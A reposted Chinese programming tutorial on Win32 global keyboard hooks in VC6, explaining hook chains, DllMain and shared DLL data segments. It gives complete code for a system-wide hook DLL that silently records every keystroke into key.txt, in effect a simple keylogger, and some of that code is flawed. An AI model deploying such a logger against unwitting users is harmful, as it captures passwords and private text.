键盘钩子程序
????? 實現適時監視鍵盤,并將按鍵信息保存在TXT文件中的程序
?????? Windows系統是建立在事件驅動的機制上的,說穿了就是整個系統都是通過消息的傳遞來實現的。而鉤子是Windows系統中非常重要的系統接口,用它可以截獲并處理送給其他應用程序的消息,來完成普通應用程序難以實現的功能。鉤子的種類很多,每種鉤子可以截獲并處理相應的消息,如鍵盤鉤子可以截獲鍵盤消息,外殼鉤子可以截取、啟動和關閉應用程序的消息等。本文在VC6編程環境下實現了一個簡單的鍵盤鉤子程序,并對Win32全局鉤子的運行機制、Win32 DLL的特點、VC6環境下的MFC DLL以及共享數據等相關知識進行了簡單的闡述。
????? 一.Win32全局鉤子的運行機制
????? 鉤子實際上是一個處理消息的程序段,通過系統調用,把它掛入系統。每當特定的消息發出,在沒有到達目的窗口前,鉤子程序就先捕獲該消息,亦即鉤子函數先得到控制權。這時鉤子函數即可以加工處理(改變)該消息,也可以不作處理而繼續傳遞該消息,還可以強制結束消息的傳遞。對每種類型的鉤子由系統來維護一個鉤子鏈,最近安裝的鉤子放在鏈的開始,而最先安裝的鉤子放在最后,也就是后加入的先獲得控制權。要實現Win32的系統鉤子,必須調用SDK中的API函數SetWindowsHookEx來安裝這個鉤子函數,這個函數的原型是
HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
????? 其中,第個參數是鉤子的類型;第二個參數是鉤子函數的地址;第三個參數是包含鉤子函數的模塊句柄;第四個參數指定監視的線程。如果指定確定的線程,即為線程專用鉤子;如果指定為空,即為全局鉤子。其中,全局鉤子函數必須包含在DLL(動態鏈接庫)中,而線程專用鉤子還可以包含在可執行文件中。得到控制權的鉤子函數在完成對消息的處理后,如果想要該消息繼續傳遞,那么它必須調用另外一個SDK中的API函數CallNextHookEx來傳遞它。鉤子函數也可以通過直接返回TRUE來丟棄該消息,并阻止該消息的傳遞。
????? 二.Win32 DLL的特點
????? Win32 DLL與 Win16 DLL有很大的區別,這主要是由操作系統的設計思想決定的。一方面,在Win16 DLL中程序入口點函數和出口點函數(LibMain和WEP)是分別實現的;而在Win32 DLL中卻由同一函數DLLMain來實現。無論何時,當一個進程或線程載入和卸載DLL時,都要調用該函數,它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中,第一個參數表示DLL的實例句柄;第三個參數系統保留;這里主要介紹一下第二個參數,它有四個可能的值:DLL_PROCESS_ATTACH(進程載入),DLL_THREAD_ATTACH(線程載入),DLL_THREAD_DETACH(線程卸載),DLL_PROCESS_DETACH(進程卸載),在DLLMain函數中可以對傳遞進來的這個參數的值進行判別,并根據不同的參數值對DLL進行必要的初始化或清理工作。舉個例子來說,當有一個進程載入一個DLL時,系統分派給DLL的第二個參數為DLL_PROCESS_ATTACH,這時,你可以根據這個參數初始化特定的數據。另一方面,在Win16環境下,所有應用程序都在同一地址空間;而在Win32環境下,所有應用程序都有自己的私有空間,每個進程的空間都是相互獨立的,這減少了應用程序間的相互影響,但同時也增加了編程的難度。大家知道,在Win16環境中,DLL的全局數據對每個載入它的進程來說都是相同的;而在Win32環境中,情況卻發生了變化,當進程在載入DLL時,系統自動把DLL地址映射到該進程的私有空間,而且也復制該DLL的全局數據的一份拷貝到該進程空間,也就是說每個進程所擁有的相同的DLL的全局數據其值卻并不一定是相同的。因此,在Win32環境下要想在多個進程中共享數據,就必須進行必要的設置。亦即把這些需要共享的數據分離出來,放置在一個獨立的數據段里,并把該段的屬性設置為共享。
????? 三.VC6中MFC DLL的分類及特點
????? 在VC6中有三種形式的MFC DLL(在該DLL中可以使用和繼承已有的MFC類)可供選擇,即Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)和Regular using the shared MFC DLL(標準動態鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。第一種DLL的特點是,在編譯時把使用的MFC代碼加入到DLL中,因此,在使用該程序時不需要其他MFC動態鏈接類庫的存在,但占用磁盤空間比較大;第二種DLL的特點是,在運行時,動態鏈接到MFC類庫,因此減少了空間的占用,但是在運行時卻依賴于MFC動態鏈接類庫;這兩種DLL既可以被MFC程序使用也可以被Win32程序使用。第三種DLL的特點類似于第二種,做為MFC類庫的擴展,只能被MFC程序使用。
????? 四.在VC6中全局共享數據的實現
????? 在主文件中,用#pragma data_seg建立一個新的數據段并定義共享數據,其具體格式為:
#pragma data_seg ("shareddata")
HWND sharedwnd=NULL;//共享數據
#pragma data_seg()
????? 僅定義一個數據段還不能達到共享數據的目的,還要告訴編譯器該段的屬性,有兩種方法可以實現該目的(其效果是相同的),一種方法是在.DEF文件中加入如下語句:
????? SETCTIONS
????? shareddata READ WRITE SHARED
????? 另一種方法是在項目設置鏈接選項中加入如下語句:
????? /SECTION:shareddata,rws
????? 五.具體實現步驟
????? 由于全局鉤子函數必須包含在動態鏈接庫中,所以本例由兩個程序體來實現。
????? 1.建立鉤子KeyboardHook.dll
????? (1)選擇MFC AppWizard(DLL)創建項目Mousehook;
????? (2)選擇MFC Extension DLL(共享MFC拷貝)類型;
????? (3)由于VC6沒有現成的鉤子類,所以要在項目目錄中創建KeyboardHook.h文件,在其中建立鉤子類:
class AFX_EXT_CLASS CKeyboardHook : public CObject
{
public:
????? CKeyboardHook();//鉤子類的構造函數
????? virtual ~CKeyboardHook();//鉤子類的析構函數
public:
????? BOOL StartHook(); //安裝鉤子函數
????? BOOL StopHook();//卸載鉤子函數
};
????? (4)在KeyboardHook.cpp文件的頂部加入#include "KeyboardHook.h"語句;
????? (5)在KeyboardHook.cpp文件的頂部加入全局共享數據變量:
#pragma data_seg("mydata")
????? HHOOK glhHook=NULL;???????? //安裝的鼠標勾子句柄
????? HINSTANCE glhInstance=NULL; //DLL實例句柄
#pragma data_seg()
(6)在DEF文件中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
????? (7)在主文件KeyboardHook.cpp的DllMain函數中加入保存DLL實例句柄的語句:
????? glhInstance=hInstance;//插入保存DLL實例句柄
????? (8)鍵盤鉤子函數的實現:
//鍵盤鉤子函數
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
????? char ch=0;
????? FILE *fl;
????? if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
????? {
??????????? if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
??????????? {
????????????????? fl=fopen("key.txt","a+");??? //輸出到key.txt文件
????????????????? if (wParam==VK_RETURN)
????????????????? {
??????????????????????? ch='\n';
????????????????? }
????????????????? else
????????????????? {
??????????????????????? BYTE ks[256];
??????????????????????? GetKeyboardState(ks);
??????????????????????? WORD w;
??????????????????????? UINT scan=0;
??????????????????????? ToAscii(wParam,scan,ks,&w,0);
??????????????????????? //ch=MapVirtualKey(wParam,2); //把虛鍵代碼變為字符
??????????????????????? ch =char(w);
????????????????? }
????????????????? fwrite(&ch, sizeof(char), 1, fl);
??????????? }
??????????? fclose(fl);
????? }
????? return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
????? (9)類CKeyboardHook的成員函數的具體實現:
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
????? if(glhHook)
??????????? UnhookWindowsHookEx(glhHook);
}
//安裝鉤子并設定接收顯示窗口句柄
BOOL CKeyboardHook::StartHook()
{
????? BOOL bResult=FALSE;
????? glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
????? /*============================================================
????? HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
????? 參數idHook表示鉤子類型,它是和鉤子函數類型一一對應的。
????? 比如,WH_KEYBOARD表示安裝的是鍵盤鉤子,WH_MOUSE表示是鼠標鉤子等等。
????? Lpfn是鉤子函數的地址。
HMod是鉤子函數所在的實例的句柄。對于線程鉤子,該參數為NULL;對于系統鉤子,
????? 該參數為鉤子函數所在的DLL句柄。
????? dwThreadId 指定鉤子所監視的線程的線程號。對于全局鉤子,該參數為NULL。
????? SetWindowsHookEx返回所安裝的鉤子句柄。
????? 值得注意的是線程鉤子和系統鉤子的鉤子函數的位置有很大的差別。
????? 線程鉤子一般在當前線程或者當前線程派生的線程內,
????? 而系統鉤子必須放在獨立的動態鏈接庫中,實現起來要麻煩一些。
????? ===========================================================*/
????? if(glhHook!=NULL)
????? bResult=TRUE;
????? return bResult;
}
//卸載鉤子
BOOL CKeyboardHook::StopHook()
{
????? BOOL bResult=FALSE;
????? if(glhHook)
????? {
??????????? bResult= UnhookWindowsHookEx(glhHook);
??????????? if(bResult)
????????????????? glhHook=NULL;
????? }
????? return bResult;
}
????? (10)編譯項目生成KeyboardHook.dll。
????? 2.創建鉤子可執行程序
????? (1)用MFC的AppWizard(EXE)創建項目KeyHook;
????? (2)選擇“基于對話應用”并按下“完成”鍵;
????? (3)在KeyHookDlg.h中加入包含語句#include "KeyboardHook.h";
????? (4)在KeyHookDlg.h中添加私有數據成員:
????? CKeyboardHook m_hook;//加入鉤子類作為數據成員
????? (5)鏈接DLL庫,即把../KeyboardHook.lib加入到項目設置鏈接標簽中;
????? (6)把OK按鈕ID改為ID_HOOK,寫實現代碼:
void CKeyHookDlg::OnHook()
{
????? m_hook.StartHook();
}
????? (7)關閉按鈕實現:
void CKeyHookDlg::OnCancel()
{
????? m_hook.StopHook();
????? CDialog::OnCancel();
}
????? (8)編譯項目生成可執行文件;
????? 運行生成的KeyHook.exe程序,按HOOK!按鈕,加載鉤子后按下鍵盤上的一些鍵,可以發現EXE目錄下自動生成了一個key.txt文件,該文件記載了你的按鍵信息.
本工程在WinXP Vc++6.0運行成功。
轉載于:https://www.cnblogs.com/chenzhonghua021/archive/2007/08/16/858152.html
總結
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